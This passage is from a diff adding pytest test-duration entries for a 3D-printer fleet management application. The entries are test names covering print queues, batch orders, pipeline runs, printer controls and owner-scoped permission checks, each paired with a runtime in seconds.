0.3483575461432338, + "integration/test_ownership_permissions.py::TestSliceOwnershipPermissions::test_slice_job_polling_is_owner_scoped": 0.3213379727676511, + "integration/test_ownership_permissions.py::TestUserItemsCountAndDeletion::test_delete_user_keeps_items": 0.34150891099125147, + "integration/test_ownership_permissions.py::TestUserItemsCountAndDeletion::test_delete_user_with_items": 0.3493843302130699, + "integration/test_ownership_permissions.py::TestUserItemsCountAndDeletion::test_get_user_items_count": 0.31851425115019083, + "integration/test_ownership_permissions.py::TestWriteSubResourceIDORClosure::test_admin_can_favorite_any_archive": 0.32282171584665775, + "integration/test_ownership_permissions.py::TestWriteSubResourceIDORClosure::test_operator_can_favorite_own_archive": 0.3130637751892209, + "integration/test_ownership_permissions.py::TestWriteSubResourceIDORClosure::test_operator_cannot_write_others_archive_subresource[f3d_delete]": 0.32021883502602577, + "integration/test_ownership_permissions.py::TestWriteSubResourceIDORClosure::test_operator_cannot_write_others_archive_subresource[f3d_upload]": 0.3209895985201001, + "integration/test_ownership_permissions.py::TestWriteSubResourceIDORClosure::test_operator_cannot_write_others_archive_subresource[favorite]": 0.32270065788179636, + "integration/test_ownership_permissions.py::TestWriteSubResourceIDORClosure::test_operator_cannot_write_others_archive_subresource[photo_delete]": 0.32088347151875496, + "integration/test_ownership_permissions.py::TestWriteSubResourceIDORClosure::test_operator_cannot_write_others_archive_subresource[photo_upload]": 0.31878212187439203, + "integration/test_ownership_permissions.py::TestWriteSubResourceIDORClosure::test_operator_cannot_write_others_archive_subresource[project_page]": 0.323502560146153, + "integration/test_ownership_permissions.py::TestWriteSubResourceIDORClosure::test_operator_cannot_write_others_archive_subresource[source_delete]": 0.32704579178243876, + "integration/test_ownership_permissions.py::TestWriteSubResourceIDORClosure::test_operator_cannot_write_others_archive_subresource[source_upload]": 0.3282577935606241, + "integration/test_ownership_permissions.py::TestWriteSubResourceIDORClosure::test_operator_cannot_write_others_archive_subresource[timelapse_delete]": 0.323309738188982, + "integration/test_ownership_permissions.py::TestWriteSubResourceIDORClosure::test_operator_cannot_write_ownerless_archive_subresource[f3d_delete]": 0.3142672199755907, + "integration/test_ownership_permissions.py::TestWriteSubResourceIDORClosure::test_operator_cannot_write_ownerless_archive_subresource[f3d_upload]": 0.3172518042847514, + "integration/test_ownership_permissions.py::TestWriteSubResourceIDORClosure::test_operator_cannot_write_ownerless_archive_subresource[favorite]": 0.32723872270435095, + "integration/test_ownership_permissions.py::TestWriteSubResourceIDORClosure::test_operator_cannot_write_ownerless_archive_subresource[photo_delete]": 0.30994936637580395, + "integration/test_ownership_permissions.py::TestWriteSubResourceIDORClosure::test_operator_cannot_write_ownerless_archive_subresource[photo_upload]": 0.33535143826156855, + "integration/test_ownership_permissions.py::TestWriteSubResourceIDORClosure::test_operator_cannot_write_ownerless_archive_subresource[project_page]": 0.3199600400403142, + "integration/test_ownership_permissions.py::TestWriteSubResourceIDORClosure::test_operator_cannot_write_ownerless_archive_subresource[source_delete]": 0.31379797868430614, + "integration/test_ownership_permissions.py::TestWriteSubResourceIDORClosure::test_operator_cannot_write_ownerless_archive_subresource[source_upload]": 0.3219281788915396, + "integration/test_ownership_permissions.py::TestWriteSubResourceIDORClosure::test_operator_cannot_write_ownerless_archive_subresource[timelapse_delete]": 0.3113069422543049, + "integration/test_pending_upload_display_name.py::TestDisplayNameResolution::test_blank_metadata_title_falls_back_to_stem": 0.20495396479964256, + "integration/test_pending_upload_display_name.py::TestDisplayNameResolution::test_default_toggle_falls_back_to_stripped_stem_when_no_metadata": 0.1968579301610589, + "integration/test_pending_upload_display_name.py::TestDisplayNameResolution::test_default_toggle_uses_metadata_title_when_present": 0.20365436747670174, + "integration/test_pending_upload_display_name.py::TestDisplayNameResolution::test_filename_toggle_overrides_metadata_title": 0.19711324851959944, + "integration/test_pending_upload_display_name.py::TestDisplayNameResolution::test_filename_toggle_strips_double_suffix": 0.19898279383778572, + "integration/test_pending_upload_display_name.py::TestDisplayNameResolution::test_get_one_returns_display_name": 0.19562251400202513, + "integration/test_pipeline_runs_api.py::TestCancelRun::test_cancel_marks_queued_run": 0.22845596447587013, + "integration/test_pipeline_runs_api.py::TestCancelRun::test_cancel_unknown_run_404": 0.20637261494994164, + "integration/test_pipeline_runs_api.py::TestCancelRun::test_run_accepts_archive_source": 0.22089067474007607, + "integration/test_pipeline_runs_api.py::TestCancelRun::test_run_rejects_both_sources": 0.20555333886295557, + "integration/test_pipeline_runs_api.py::TestCancelRun::test_run_rejects_no_source": 0.21469002310186625, + "integration/test_pipeline_runs_api.py::TestCancelTerminal::test_cancel_terminal_run_is_idempotent": 0.2220478830859065, + "integration/test_pipeline_runs_api.py::TestCheckEligibility::test_a_product_name_in_tray_type_is_reported_as_a_mismatch": 0.2248672479763627, + "integration/test_pipeline_runs_api.py::TestCheckEligibility::test_no_target_set": 0.20791027694940567, + "integration/test_pipeline_runs_api.py::TestCheckEligibility::test_online_match_clears_issues": 0.22259612008929253, + "integration/test_pipeline_runs_api.py::TestCheckEligibility::test_printer_disabled": 0.21516004391014576, + "integration/test_pipeline_runs_api.py::TestPipelineC::test_class_eligibility_no_matching_printers": 0.21754077728837729, + "integration/test_pipeline_runs_api.py::TestPipelineC::test_class_eligibility_per_printer_breakdown": 0.22367033455520868, + "integration/test_pipeline_runs_api.py::TestPipelineC::test_copies_cap_enforced": 0.20913701597601175, + "integration/test_pipeline_runs_api.py::TestPipelineC::test_list_all_runs_dashboard_endpoint": 0.2154324147850275, + "integration/test_pipeline_runs_api.py::TestPipelineC::test_retry_failed_creates_child_run": 0.23578944709151983, + "integration/test_pipeline_runs_api.py::TestPipelineC::test_run_copies_3_creates_3_jobs": 0.22831320762634277, + "integration/test_pipeline_runs_api.py::TestPolishFollowUp::test_clear_endpoint_deletes_terminal_runs_only": 0.22161816898733377, + "integration/test_pipeline_runs_api.py::TestPolishFollowUp::test_dashboard_filters_by_target_model_class": 0.2305222488939762, + "integration/test_pipeline_runs_api.py::TestPolishFollowUp::test_dashboard_filters_by_target_printer": 0.2317730225622654, + "integration/test_pipeline_runs_api.py::TestPolishFollowUp::test_deleted_queue_entry_rolls_up_as_cancelled": 0.2286820588633418, + "integration/test_pipeline_runs_api.py::TestRunListAndGet::test_get_run_404": 0.21261664852499962, + "integration/test_pipeline_runs_api.py::TestRunListAndGet::test_list_runs_empty": 0.20633115619421005, + "integration/test_pipeline_runs_api.py::TestRunPipeline::test_run_creates_run_and_job": 0.2255947506055236, + "integration/test_pipeline_runs_api.py::TestRunPipeline::test_run_force_with_no_target_still_400": 0.20658733695745468, + "integration/test_pipeline_runs_api.py::TestRunPipeline::test_run_with_issues_and_no_force_returns_409": 0.21399530116468668, + "integration/test_pipeline_runs_api.py::TestRunViaApiKey::test_a_cloud_scoped_key_slices_as_its_owner": 0.25469193700701, + "integration/test_pipeline_runs_api.py::TestRunViaApiKey::test_a_key_without_cloud_scope_stays_anonymous": 0.2623645095154643, + "integration/test_pipeline_runs_api.py::TestRunViaApiKey::test_a_key_without_manage_library_is_refused": 0.2515960456803441, + "integration/test_pipeline_runs_api.py::TestRunViaApiKey::test_a_scoped_key_runs_the_pipeline": 0.25142540596425533, + "integration/test_pipeline_runs_api.py::TestSlicerPipelineTarget::test_update_target_printer_id_zero_clears": 0.20597543939948082, + "integration/test_pipeline_runs_api.py::TestSlicerPipelineTarget::test_update_writes_target": 0.20422557834535837, + "integration/test_plate_clear_notification.py::TestPlateClearNotificationDispatch::test_sends_to_a_provider_that_opted_in": 0.18521303590387106, + "integration/test_plate_clear_notification.py::TestPlateClearNotificationDispatch::test_silent_for_a_provider_that_did_not_opt_in": 0.19289965089410543, + "integration/test_plate_clear_notification.py::TestPlateClearNotificationDispatch::test_skips_a_provider_scoped_to_a_different_printer": 0.17746188677847385, + "integration/test_plate_clear_notification.py::TestPlateClearProviderField::test_defaults_to_off_on_create_and_round_trips_on_update": 0.21576859522610903, + "integration/test_print_batch_orders.py::TestBatchBacklog::test_a_new_order_is_listed_before_its_first_dispatch": 0.21097149327397346, + "integration/test_print_batch_orders.py::TestBatchBacklog::test_backfill_is_idempotent": 0.23737110383808613, + "integration/test_print_batch_orders.py::TestBatchBacklog::test_backfill_leaves_in_flight_batches_alone": 0.22445634938776493, + "integration/test_print_batch_orders.py::TestBatchBacklog::test_empty_shell_batches_are_not_listed": 0.20749150030314922, + "integration/test_print_batch_orders.py::TestBatchBacklog::test_startup_backfill_closes_finished_batches": 0.23098739050328732, + "integration/test_print_batch_orders.py::TestBatchOrderCompletion::test_an_order_with_every_run_cancelled_still_owes_them": 0.24256719276309013, + "integration/test_print_batch_orders.py::TestBatchOrderCompletion::test_cancelled_order_is_never_resurrected": 0.24164513498544693, + "integration/test_print_batch_orders.py::TestBatchOrderCompletion::test_legacy_batch_with_everything_cancelled_reads_as_cancelled": 0.22751040384173393, + "integration/test_print_batch_orders.py::TestBatchOrderCompletion::test_raising_a_target_reopens_a_completed_order": 0.8018456064164639, + "integration/test_print_batch_orders.py::TestBatchOrderCompletion::test_status_flips_to_completed_when_targets_met": 0.24863581825047731, + "integration/test_print_batch_orders.py::TestBatchOrderCost::test_cost_is_unknown_not_zero_before_the_first_run": 0.22045984957367182, + "integration/test_print_batch_orders.py::TestBatchOrderCost::test_cost_rolls_up_from_logged_runs": 0.23897955939173698, + "integration/test_print_batch_orders.py::TestBatchOrderDispatch::test_can_dispatch_is_true_while_a_source_survives": 0.22195127233862877, + "integration/test_print_batch_orders.py::TestBatchOrderDispatch::test_cannot_dispatch_a_cancelled_order": 0.2312412429600954, + "integration/test_print_batch_orders.py::TestBatchOrderDispatch::test_clone_differs_from_its_source_only_in_lifecycle_state": 0.24827754776924849, + "integration/test_print_batch_orders.py::TestBatchOrderDispatch::test_clones_land_in_their_own_printer_queue": 0.29210715647786856, + "integration/test_print_batch_orders.py::TestBatchOrderDispatch::test_dispatch_can_target_a_single_plate": 0.24788406770676374, + "integration/test_print_batch_orders.py::TestBatchOrderDispatch::test_dispatch_clones_the_print_configuration": 0.2364292498677969, + "integration/test_print_batch_orders.py::TestBatchOrderDispatch::test_dispatch_on_legacy_batch_is_a_noop": 0.2416677763685584, + "integration/test_print_batch_orders.py::TestBatchOrderDispatch::test_dispatch_respects_limit": 0.24321279488503933, + "integration/test_print_batch_orders.py::TestBatchOrderDispatch::test_dispatch_without_a_reference_item_is_rejected": 0.21239487081766129, + "integration/test_print_batch_orders.py::TestBatchOrderDispatch::test_dispatching_a_stranded_plate_by_name_still_fails_loudly": 0.2262121206149459, + "integration/test_print_batch_orders.py::TestBatchOrderDispatch::test_one_stranded_plate_does_not_block_the_others": 0.2441507624462247, + "integration/test_print_batch_orders.py::TestBatchOrderDispatch::test_redispatch_after_failure_replaces_the_burned_run": 0.24355356208980083, + "integration/test_print_batch_orders.py::TestBatchOrderHeader::test_header_fields_round_trip": 0.20679480396211147, + "integration/test_print_batch_orders.py::TestBatchOrderHeader::test_patch_replaces_the_target_set": 0.2151038395240903, + "integration/test_print_batch_orders.py::TestBatchOrderHeader::test_unknown_project_is_rejected": 0.19856948871165514, + "integration/test_print_batch_orders.py::TestBatchOrderProgress::test_cancelled_run_also_leaves_the_work_owed": 0.2298741713166237, + "integration/test_print_batch_orders.py::TestBatchOrderProgress::test_failed_run_leaves_the_work_owed": 0.2484172973781824, + "integration/test_print_batch_orders.py::TestBatchOrderProgress::test_legacy_batch_without_targets_owes_nothing": 0.22924836073070765, + "integration/test_print_batch_orders.py::TestBatchOrderProgress::test_pending_and_printing_consume_the_target": 0.24751810356974602, + "integration/test_print_batch_orders.py::TestBatchOrderTargets::test_duplicate_plate_is_rejected": 0.20460233557969332, + "integration/test_print_batch_orders.py::TestBatchOrderTargets::test_duplicate_whole_file_plate_is_rejected": 0.19163329899311066, + "integration/test_print_batch_orders.py::TestBatchOrderTargets::test_order_reports_per_plate_targets": 0.22600680403411388, + "integration/test_print_batch_orders.py::TestBatchOrderTargets::test_order_requesting_nothing_is_rejected": 0.20280256401747465, + "integration/test_print_batch_orders.py::TestBatchOrderTargets::test_zero_target_plate_is_allowed": 0.2141214581206441, + "integration/test_print_batch_orders.py::TestOrderSourcePreservation::test_a_cancelled_order_lets_its_leftover_rows_be_deleted": 0.23275402002036572, + "integration/test_print_batch_orders.py::TestOrderSourcePreservation::test_a_completed_run_is_never_rewritten_as_cancelled": 0.23199285380542278, + "integration/test_print_batch_orders.py::TestOrderSourcePreservation::test_a_grouping_without_targets_deletes_as_before": 0.2230083243921399, + "integration/test_print_batch_orders.py::TestOrderSourcePreservation::test_a_plate_the_order_has_no_target_for_deletes_as_before": 0.22579053044319153, + "integration/test_print_batch_orders.py::TestOrderSourcePreservation::test_a_run_with_a_sibling_is_really_deleted": 0.2332719722762704, + "integration/test_print_batch_orders.py::TestOrderSourcePreservation::test_last_run_for_a_plate_is_cancelled_not_deleted": 0.23037452157586813, + "integration/test_print_batch_orders.py::TestOrderSourcePreservation::test_the_order_can_still_be_dispatched_afterwards": 0.25851486530154943, + "integration/test_print_lifecycle.py::TestCallbackErrorHandling::test_callback_errors_are_logged": 0.001167857088148594, + "integration/test_print_lifecycle.py::TestNoImportShadowing::test_on_print_complete_no_import_errors": 0.0011801226064562798, + "integration/test_print_lifecycle.py::TestPlateClearGate::test_plate_clear_gate_not_raised_for_unknown_status": 0.008670510724186897, + "integration/test_print_lifecycle.py::TestPlateClearGate::test_plate_clear_gate_raised_for_every_terminal_status[aborted-1171]": 0.0073219044134020805, + "integration/test_print_lifecycle.py::TestPlateClearGate::test_plate_clear_gate_raised_for_every_terminal_status[cancelled-1171]": 0.0074192555621266365, + "integration/test_print_lifecycle.py::TestPlateClearGate::test_plate_clear_gate_raised_for_every_terminal_status[completed]": 0.02101850602775812, + "integration/test_print_lifecycle.py::TestPlateClearGate::test_plate_clear_gate_raised_for_every_terminal_status[failed]": 0.007629030384123325, + "integration/test_print_lifecycle.py::TestPrintCompleteLogic::test_print_complete_no_import_errors": 0.0074413372203707695, + "integration/test_print_lifecycle.py::TestPrintStartLogic::test_print_start_calls_notification_service": 0.004215610213577747, + "integration/test_print_lifecycle.py::TestTimelapseTracking::test_aborted_status_when_cancelled": 0.0018616802990436554, + "integration/test_print_lifecycle.py::TestTimelapseTracking::test_hms_errors_included_in_failed_completion_callback": 0.0012286240234971046, + "integration/test_print_lifecycle.py::TestTimelapseTracking::test_timelapse_detected_from_ipcam_data": 0.001261753961443901, + "integration/test_print_lifecycle.py::TestTimelapseTracking::test_timelapse_detected_in_same_message_as_print_start": 0.0011283159255981445, + "integration/test_print_lifecycle.py::TestTimelapseTracking::test_timelapse_flag_included_in_completion_callback": 0.001297750510275364, + "integration/test_print_queue_api.py::TestAbortedStatusNormalisation::test_add_to_queue_consecutive_asap_inserts_stack_in_submission_order": 0.24673194903880358, + "integration/test_print_queue_api.py::TestAbortedStatusNormalisation::test_add_to_queue_insert_position_greater_than_max_appends_without_gap": 0.2400173218920827, + "integration/test_print_queue_api.py::TestAbortedStatusNormalisation::test_add_to_queue_insert_position_quantity_shifts_existing_by_quantity": 0.25484007596969604, + "integration/test_print_queue_api.py::TestAbortedStatusNormalisation::test_add_to_queue_insert_position_scopes_unassigned_items": 0.25217180605977774, + "integration/test_print_queue_api.py::TestAbortedStatusNormalisation::test_add_to_queue_insert_position_shifts_existing_items": 0.24605773389339447, + "integration/test_print_queue_api.py::TestAbortedStatusNormalisation::test_add_to_queue_quantity_creates_batch": 0.22183464467525482, + "integration/test_print_queue_api.py::TestAbortedStatusNormalisation::test_add_to_queue_quantity_default": 0.2231033844873309, + "integration/test_print_queue_api.py::TestAbortedStatusNormalisation::test_add_to_queue_quantity_one_explicit": 0.21105139330029488, + "integration/test_print_queue_api.py::TestAbortedStatusNormalisation::test_add_to_queue_quantity_sequential_positions": 0.22434254456311464, + "integration/test_print_queue_api.py::TestAbortedStatusNormalisation::test_add_to_queue_quantity_with_print_options": 0.2335874829441309, + "integration/test_print_queue_api.py::TestAbortedStatusNormalisation::test_add_to_queue_with_unknown_batch_id_404": 0.2207597903907299, + "integration/test_print_queue_api.py::TestAbortedStatusNormalisation::test_bump_library_file_usage_on_completed": 0.19875789154320955, + "integration/test_print_queue_api.py::TestAbortedStatusNormalisation::test_bump_library_file_usage_repeated_prints_increment_count": 0.18824122939258814, + "integration/test_print_queue_api.py::TestAbortedStatusNormalisation::test_bump_library_file_usage_skips_non_completed[cancelled]": 0.18171042855829, + "integration/test_print_queue_api.py::TestAbortedStatusNormalisation::test_bump_library_file_usage_skips_non_completed[failed]": 0.18581148702651262, + "integration/test_print_queue_api.py::TestAbortedStatusNormalisation::test_bump_library_file_usage_skips_when_no_library_file_id": 0.19865536782890558, + "integration/test_print_queue_api.py::TestAbortedStatusNormalisation::test_cancel_batch": 0.24191087391227484, + "integration/test_print_queue_api.py::TestAbortedStatusNormalisation::test_completed_status_passes_through_unchanged": 0.2137264795601368, + "integration/test_print_queue_api.py::TestAbortedStatusNormalisation::test_create_batch_requires_name": 0.19898295402526855, + "integration/test_print_queue_api.py::TestAbortedStatusNormalisation::test_create_empty_batch_for_client_side_grouping": 0.25183429289609194, + "integration/test_print_queue_api.py::TestAbortedStatusNormalisation::test_get_batch": 0.22338638361543417, + "integration/test_print_queue_api.py::TestAbortedStatusNormalisation::test_get_batch_not_found": 0.20652696397155523, + "integration/test_print_queue_api.py::TestAbortedStatusNormalisation::test_group_existing_items_as_batch": 0.23159074038267136, + "integration/test_print_queue_api.py::TestAbortedStatusNormalisation::test_group_skips_non_pending_items": 0.22474797628819942, + "integration/test_print_queue_api.py::TestAbortedStatusNormalisation::test_leaves_a_printing_item_alone_when_the_completion_is_for_another_print": 0.22641201224178076, + "integration/test_print_queue_api.py::TestAbortedStatusNormalisation::test_list_batches": 0.24158351123332977, + "integration/test_print_queue_api.py::TestAbortedStatusNormalisation::test_on_print_complete_normalises_aborted_to_cancelled": 0.22570436634123325, + "integration/test_print_queue_api.py::TestAbortedStatusNormalisation::test_queue_api_hides_archive_surface_when_soft_deleted": 0.22187288478016853, + "integration/test_print_queue_api.py::TestAbortedStatusNormalisation::test_queue_api_still_exposes_archive_surface_when_live": 0.21096947882324457, + "integration/test_print_queue_api.py::TestAbortedStatusNormalisation::test_soft_delete_archive_deletes_all_related_queue_items": 0.21520466729998589, + "integration/test_print_queue_api.py::TestAbortedStatusNormalisation::test_startup_fixup_converts_aborted_to_cancelled": 0.2033815672621131, + "integration/test_print_queue_api.py::TestAbortedStatusNormalisation::test_ungroup_batch_clears_batch_id_and_deletes_row": 0.2284470470622182, + "integration/test_print_queue_api.py::TestBulkUpdateEndpoint::test_bulk_update_change_printer": 0.22094605769962072, + "integration/test_print_queue_api.py::TestBulkUpdateEndpoint::test_bulk_update_cost_center_counts_pending_reservations": 0.2309969961643219, + "integration/test_print_queue_api.py::TestBulkUpdateEndpoint::test_bulk_update_cost_center_requires_estimated_cost": 0.20916429534554482, + "integration/test_print_queue_api.py::TestBulkUpdateEndpoint::test_bulk_update_empty_item_ids": 0.20571652427315712, + "integration/test_print_queue_api.py::TestBulkUpdateEndpoint::test_bulk_update_invalid_printer": 0.2041774783283472, + "integration/test_print_queue_api.py::TestBulkUpdateEndpoint::test_bulk_update_multiple_fields": 0.21151757892221212, + "integration/test_print_queue_api.py::TestBulkUpdateEndpoint::test_bulk_update_no_fields": 0.20800160616636276, + "integration/test_print_queue_api.py::TestBulkUpdateEndpoint::test_bulk_update_single_field": 0.22337449062615633, + "integration/test_print_queue_api.py::TestBulkUpdateEndpoint::test_bulk_update_skips_non_pending": 0.21463591139763594, + "integration/test_print_queue_api.py::TestForceColorOverridesAreScopedToThePlate::test_each_plate_keeps_only_the_colour_it_prints": 0.22823576256632805, + "integration/test_print_queue_api.py::TestForceColorOverridesAreScopedToThePlate::test_editing_an_item_narrows_the_overrides_too": 0.2139950394630432, + "integration/test_print_queue_api.py::TestForceColorOverridesAreScopedToThePlate::test_editing_the_plate_renarrows_against_the_new_plate": 0.225414982996881, + "integration/test_print_queue_api.py::TestForceColorOverridesAreScopedToThePlate::test_required_types_stay_scoped_to_the_plate": 0.22037536930292845, + "integration/test_print_queue_api.py::TestForceColorOverridesAreScopedToThePlate::test_unreadable_3mf_keeps_every_colour": 0.20785542391240597, + "integration/test_print_queue_api.py::TestForceColorOverridesAreScopedToThePlate::test_whole_file_queue_keeps_every_colour": 0.20835879538208246, + "integration/test_print_queue_api.py::TestPrintQueueAPI::test_add_model_based_queue_item_derives_cost_without_client_estimate": 0.21562103740870953, + "integration/test_print_queue_api.py::TestPrintQueueAPI::test_add_to_queue": 0.2172160279005766, + "integration/test_print_queue_api.py::TestPrintQueueAPI::test_add_to_queue_archive_extra_data_without_slicer_mapping_key_not_used": 0.21701504196971655, + "integration/test_print_queue_api.py::TestPrintQueueAPI::test_add_to_queue_counts_pending_queue_reservations_against_budget": 0.21359485015273094, + "integration/test_print_queue_api.py::TestPrintQueueAPI::test_add_to_queue_derives_cost_without_client_estimate": 0.21845124289393425, + "integration/test_print_queue_api.py::TestPrintQueueAPI::test_add_to_queue_explicit_ams_mapping_wins_over_archive_fallback": 0.21253307722508907, + "integration/test_print_queue_api.py::TestPrintQueueAPI::test_add_to_queue_falls_back_to_archive_slicer_ams_mapping_when_unset": 0.2049005152657628, + "integration/test_print_queue_api.py::TestPrintQueueAPI::test_add_to_queue_force_color_match_overrides_beat_the_archive_fallback": 0.2076372653245926, + "integration/test_print_queue_api.py::TestPrintQueueAPI::test_add_to_queue_ignores_archive_slicer_ams_mapping_for_different_printer": 0.20508804731070995, + "integration/test_print_queue_api.py::TestPrintQueueAPI::test_add_to_queue_ignores_archive_slicer_ams_mapping_for_model_based_dispatch": 0.21457570884376764, + "integration/test_print_queue_api.py::TestPrintQueueAPI::test_add_to_queue_invalid_project_id_returns_404": 0.20084772910922766, + "integration/test_print_queue_api.py::TestPrintQueueAPI::test_add_to_queue_plain_overrides_still_allow_the_archive_fallback": 0.2170144310221076, + "integration/test_print_queue_api.py::TestPrintQueueAPI::test_add_to_queue_rejects_tampered_client_cost_when_server_cost_exceeds_budget": 0.21320838760584593, + "integration/test_print_queue_api.py::TestPrintQueueAPI::test_add_to_queue_requires_cost_center_when_billing_enabled": 0.20375686045736074, + "integration/test_print_queue_api.py::TestPrintQueueAPI::test_add_to_queue_skip_filament_check_defaults_false": 0.21573498006910086, + "integration/test_print_queue_api.py::TestPrintQueueAPI::test_add_to_queue_with_ams_mapping": 0.21430553309619427, + "integration/test_print_queue_api.py::TestPrintQueueAPI::test_add_to_queue_with_cost_center_id": 0.23160407412797213, + "integration/test_print_queue_api.py::TestPrintQueueAPI::test_add_to_queue_with_manual_start": 0.21878987736999989, + "integration/test_print_queue_api.py::TestPrintQueueAPI::test_add_to_queue_with_plate_id": 0.2102328985929489, + "integration/test_print_queue_api.py::TestPrintQueueAPI::test_add_to_queue_with_print_options": 0.21301413141191006, + "integration/test_print_queue_api.py::TestPrintQueueAPI::test_add_to_queue_with_project_id": 0.2137194164097309, + "integration/test_print_queue_api.py::TestPrintQueueAPI::test_add_to_queue_with_skip_filament_check": 0.21182567439973354, + "integration/test_print_queue_api.py::TestPrintQueueAPI::test_bulk_update_skips_dispatching_item": 0.21883825678378344, + "integration/test_print_queue_api.py::TestPrintQueueAPI::test_delete_queue_item": 0.20455259457230568, + "integration/test_print_queue_api.py::TestPrintQueueAPI::test_delete_queue_item_not_found": 0.19305009488016367, + "integration/test_print_queue_api.py::TestPrintQueueAPI::test_delete_queue_item_releases_reserved_budget": 0.24345312360674143, + "integration/test_print_queue_api.py::TestPrintQueueAPI::test_get_queue_item": 0.2153055751696229, + "integration/test_print_queue_api.py::TestPrintQueueAPI::test_get_queue_item_not_found": 0.19862863887101412, + "integration/test_print_queue_api.py::TestPrintQueueAPI::test_list_queue_empty": 0.19514541141688824, + "integration/test_print_queue_api.py::TestPrintQueueAPI::test_queue_response_flags_saved_mapping_only_for_its_own_printer": 0.22745572868734598, + "integration/test_print_queue_api.py::TestPrintQueueAPI::test_reassign_rejected_while_dispatching": 0.2114085527136922, + "integration/test_print_queue_api.py::TestPrintQueueAPI::test_update_allowed_on_unclaimed_pending_item": 0.2269915398210287, + "integration/test_print_queue_api.py::TestPrintQueueAPI::test_update_queue_item": 0.22133232187479734, + "integration/test_print_queue_api.py::TestPrintQueueAPI::test_update_queue_item_cost_center_id": 0.2133561633527279, + "integration/test_print_queue_api.py::TestPrintQueueAPI::test_update_queue_item_manual_start": 0.22248260863125324, + "integration/test_print_queue_api.py::TestPrintQueueAPI::test_update_queue_item_plate_id": 0.21985920052975416, + "integration/test_print_queue_api.py::TestPrintQueueAPI::test_update_queue_item_print_options": 0.2151508666574955, + "integration/test_print_queue_api.py::TestQueueCancelEndpoint::test_cancel_non_pending_queue_item": 0.21357420179992914, + "integration/test_print_queue_api.py::TestQueueCancelEndpoint::test_cancel_pending_queue_item": 0.22571009863168, + "integration/test_print_queue_api.py::TestQueueLibraryFileSupport::test_add_library_file_rejects_cross_model_mismatch": 0.218628684990108, + "integration/test_print_queue_api.py::TestQueueLibraryFileSupport::test_add_to_queue_library_file_with_options": 0.2145083835348487, + "integration/test_print_queue_api.py::TestQueueLibraryFileSupport::test_add_to_queue_requires_archive_or_library_file": 0.210579008795321, + "integration/test_print_queue_api.py::TestQueueLibraryFileSupport::test_add_to_queue_with_library_file": 0.2141298921778798, + "integration/test_print_queue_api.py::TestQueueLibraryFileSupport::test_list_queue_includes_library_file_info": 0.20895731821656227, + "integration/test_print_queue_api.py::TestQueueLibraryFileSupport::test_update_queue_item_with_library_file": 0.2260449454188347, + "integration/test_print_queue_api.py::TestQueueStartEndpoint::test_start_completed_queue_item": 0.20997754205018282, + "integration/test_print_queue_api.py::TestQueueStartEndpoint::test_start_non_pending_queue_item": 0.21102407202124596, + "integration/test_print_queue_api.py::TestQueueStartEndpoint::test_start_non_staged_queue_item": 0.21430488117039204, + "integration/test_print_queue_api.py::TestQueueStartEndpoint::test_start_queue_item_not_found": 0.19553999044001102, + "integration/test_print_queue_api.py::TestQueueStartEndpoint::test_start_queue_item_with_cost_center_requires_estimated_cost": 0.21789207495748997, + "integration/test_print_queue_api.py::TestQueueStartEndpoint::test_start_returns_409_on_filament_deficit": 0.20628667250275612, + "integration/test_print_queue_api.py::TestQueueStartEndpoint::test_start_staged_queue_item": 0.21816088911145926, + "integration/test_print_queue_api.py::TestQueueStartEndpoint::test_start_with_skip_flag_bypasses_deficit_check": 0.8397491807118058, + "integration/test_print_queue_api.py::TestQueueStartEndpoint::test_start_with_skip_flag_persists_acknowledgement": 0.21556247677654028, + "integration/test_print_queue_api.py::TestQueueStartEndpoint::test_start_without_skip_flag_does_not_set_acknowledgement": 0.2258916487917304, + "integration/test_print_queue_api.py::TestReorderEndpoint::test_reorder_accepts_unique_positions": 0.2031199773773551, + "integration/test_print_queue_api.py::TestReorderEndpoint::test_reorder_rejects_duplicate_positions": 0.22614036314189434, + "integration/test_print_queue_api.py::TestResumeQueueAfterFailure::test_resume_acknowledges_failed_and_restores_skipped": 0.22497339639812708, + "integration/test_print_queue_api.py::TestResumeQueueAfterFailure::test_resume_handles_aborted_status": 0.20783494506031275, + "integration/test_print_queue_api.py::TestResumeQueueAfterFailure::test_resume_idempotent_second_call_is_no_op": 0.21570266131311655, + "integration/test_print_queue_api.py::TestResumeQueueAfterFailure::test_resume_no_op_on_clean_queue": 0.20476693380624056, + "integration/test_print_queue_api.py::TestResumeQueueAfterFailure::test_resume_preserves_skipped_items_with_other_reasons": 0.2269119108095765, + "integration/test_print_queue_api.py::TestResumeQueueAfterFailure::test_resume_scoped_to_printer": 0.21264160238206387, + "integration/test_print_queue_api.py::TestResumeQueueAfterFailure::test_resume_unknown_printer_returns_404": 0.2108966326341033, + "integration/test_print_queue_api.py::TestTargetLocationFeature::test_add_to_queue_allows_gcode_family_target": 0.20877828262746334, + "integration/test_print_queue_api.py::TestTargetLocationFeature::test_add_to_queue_location_without_model_ignored": 0.20828923769295216, + "integration/test_print_queue_api.py::TestTargetLocationFeature::test_add_to_queue_rejects_cross_model_mismatch": 0.20309458021074533, + "integration/test_print_queue_api.py::TestTargetLocationFeature::test_add_to_queue_with_target_location": 0.21146770287305117, + "integration/test_print_queue_api.py::TestTargetLocationFeature::test_add_to_queue_without_sliced_metadata_not_blocked": 0.23167097009718418, + "integration/test_print_queue_api.py::TestTargetLocationFeature::test_clear_target_location": 0.2259331652894616, + "integration/test_print_queue_api.py::TestTargetLocationFeature::test_queue_item_target_location_in_response": 0.201608594506979, + "integration/test_print_queue_api.py::TestTargetLocationFeature::test_queue_list_includes_target_location": 0.20627574250102043, + "integration/test_print_queue_api.py::TestTargetLocationFeature::test_update_can_fix_stale_mismatched_target": 0.21993595454841852, + "integration/test_print_queue_api.py::TestTargetLocationFeature::test_update_queue_item_target_location": 0.21714271046221256, + "integration/test_print_queue_api.py::TestTargetLocationFeature::test_update_rejects_cross_model_mismatch": 0.21222566347569227, + "integration/test_print_queue_api.py::test_stop_offline_reconciles_linked_archive_status_2603": 0.2035678280517459, + "integration/test_print_queue_api.py::test_stop_online_leaves_archive_for_mqtt_to_reconcile_2603": 0.20971555914729834, + "integration/test_printers_api.py::TestAMSLoadUnloadAPI::test_load_ams_slot_success": 0.20334363542497158, + "integration/test_printers_api.py::TestAMSLoadUnloadAPI::test_load_external_left_success": 0.19785243552178144, + "integration/test_printers_api.py::TestAMSLoadUnloadAPI::test_load_external_right_success": 0.20061385165899992, + "integration/test_printers_api.py::TestAMSLoadUnloadAPI::test_load_forwards_the_chosen_hotend": 0.19949730765074492, + "integration/test_printers_api.py::TestAMSLoadUnloadAPI::test_load_invalid_tray_id": 0.20075956359505653, + 